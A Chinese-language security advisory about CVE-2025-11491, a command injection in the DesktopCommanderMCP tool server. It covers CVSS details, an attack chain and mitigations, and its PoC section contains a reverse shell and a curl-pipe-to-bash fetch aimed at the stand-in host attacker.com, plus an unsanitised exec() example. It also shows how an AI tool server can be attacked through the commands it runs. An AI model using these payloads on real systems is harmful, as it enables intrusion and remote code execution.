IPBUF安全漏洞报告
English
CVE-2025-11491 CVSS 6.3 中危

CVE-2025-11491 DesktopCommanderMCP 操作系统命令注入漏洞

披露日期: 2025-10-08

漏洞信息

漏洞编号
CVE-2025-11491
漏洞类型
操作系统命令注入(OS Command Injection)
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
wonderwhy-er DesktopCommanderMCP

相关标签

命令注入OS Command InjectionDesktopCommanderMCPMCP协议TypeScript远程代码执行中危漏洞CVE-2025-11491

漏洞概述

CVE-2025-11491 是 wonderwhy-er DesktopCommanderMCP 0.2.13 及以下版本中存在的一个操作系统命令注入漏洞。该漏洞位于项目的 src/command-manager.ts 文件中的 CommandManager 函数中,攻击者可以通过远程方式利用该漏洞执行任意操作系统命令。DesktopCommanderMCP 是一款基于 Model Context Protocol(MCP)的桌面命令管理工具,允许通过 AI 助手执行系统级操作。由于 CommandManager 函数在处理用户输入时未对命令参数进行充分的过滤和转义,攻击者可以注入恶意 shell 命令,从而在目标系统上执行任意操作。该漏洞的 CVSS 3.1 评分为 6.3,属于中危级别。虽然利用该漏洞需要低权限认证(PR:L),但攻击完全可以通过网络远程发起(AV:N),且无需用户交互(UI:N)。漏洞的机密性、完整性和可用性影响均为低级别,表明其可能造成有限但实质性的损害。该漏洞的利用代码已被公开披露,增加了被恶意利用的风险。受影响用户应及时升级到修复版本以消除安全隐患。

技术细节

该漏洞的核心问题在于 DesktopCommanderMCP 项目的 CommandManager 函数对用户输入的命令参数处理不当。具体而言,src/command-manager.ts 文件中负责执行系统命令的逻辑未对传入的命令字符串进行严格的输入验证和转义处理,导致攻击者可以通过构造特殊的命令字符串来注入并执行任意操作系统命令。

从技术层面分析,MCP(Model Context Protocol)协议允许 AI 模型与本地工具进行交互,DesktopCommanderMCP 作为该协议的实现之一,其 CommandManager 组件负责接收并执行来自 AI 助手的命令请求。当用户或攻击者通过 MCP 接口传递包含 shell 元字符(如分号、管道符、反引号、$() 等)的恶意命令时,由于缺乏对输入的沙箱化处理或参数化执行,这些元字符会被底层 shell 解释器解析,从而执行攻击者预设的恶意命令。

攻击者可以通过远程网络连接,利用低权限认证访问 MCP 服务端口,发送精心构造的命令注入载荷。由于漏洞利用无需用户交互,攻击可以完全自动化执行。成功利用后,攻击者能够在目标系统上以运行 DesktopCommanderMCP 服务的用户权限执行任意命令,包括但不限于读取敏感文件、安装恶意软件、修改系统配置或进行横向移动。

攻击链分析

STEP 1
步骤1:信息收集与目标识别
攻击者通过扫描网络或利用已知信息识别运行 DesktopCommanderMCP 0.2.13 及以下版本的目标系统,确认 MCP 服务端口开放。
STEP 2
步骤2:获取低权限访问
攻击者通过合法途径或社会工程获取目标系统上的低权限认证凭据,以满足 PR:L(低权限要求)的利用条件。
STEP 3
步骤3:构造命令注入载荷
攻击者构造包含 shell 元字符(如 ;、|、&&、$( ) 等)的恶意命令字符串,将其嵌入到合法的 MCP 命令请求参数中。
STEP 4
步骤4:发送恶意 MCP 请求
攻击者通过网络远程向目标系统的 MCP 服务发送包含注入载荷的请求,由于漏洞无需用户交互(UI:N),请求被自动处理。
STEP 5
步骤5:命令执行与权限获取
CommandManager 函数未对输入进行充分过滤,将恶意命令传递给底层 shell 执行,攻击者获得在目标系统上执行任意命令的能力。
STEP 6
步骤6:后续利用与影响扩大
攻击者可利用获得的命令执行权限读取敏感数据、安装后门、进行权限提升或横向移动,对系统的机密性、完整性和可用性造成损害。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * CVE-2025-11491 - DesktopCommanderMCP OS Command Injection PoC * Target: wonderwhy-er DesktopCommanderMCP <= 0.2.13 * Vulnerable component: CommandManager in src/command-manager.ts */ // Example of malicious command injection payload // The CommandManager fails to sanitize shell metacharacters in user-supplied input const maliciousPayload = "echo safe_output; cat /etc/passwd"; // OR using command substitution: // const maliciousPayload = "echo $(whoami)"; // OR using backticks: // const maliciousPayload = "echo `id`"; // OR using pipe: // const maliciousPayload = "echo normal | nc attacker.com 4444 -e /bin/sh"; // Simulating the vulnerable CommandManager execution flow: function vulnerableCommandManager(userCommand) { // The vulnerable code directly passes user input to child_process.exec or similar const { exec } = require('child_process'); exec(userCommand, (error, stdout, stderr) => { if (error) { console.error(`Error: ${error.message}`); return; } console.log(stdout); }); } // Trigger the vulnerability vulnerableCommandManager(maliciousPayload); // Remote exploitation via MCP protocol: // An attacker with low-privilege access can send MCP requests containing // injected shell commands through the CommandManager interface: /* POST /mcp HTTP/1.1 Host: target-host Content-Type: application/json { "method": "execute_command", "params": { "command": "ls; curl http://attacker.com/shell.sh | bash" } } */

影响范围

wonderwhy-er DesktopCommanderMCP < 0.2.13
wonderwhy-er DesktopCommanderMCP <= 0.2.13

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)通过网络防火墙限制 DesktopCommanderMCP 服务的访问范围,仅允许可信 IP 访问;2)在系统层面配置命令执行白名单,限制可执行的命令范围;3)将服务运行账户权限降至最低,减少潜在损害;4)监控异常的系统命令执行活动,及时发现并阻断攻击行为;5)关注官方发布的补丁信息,在补丁发布后第一时间进行升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表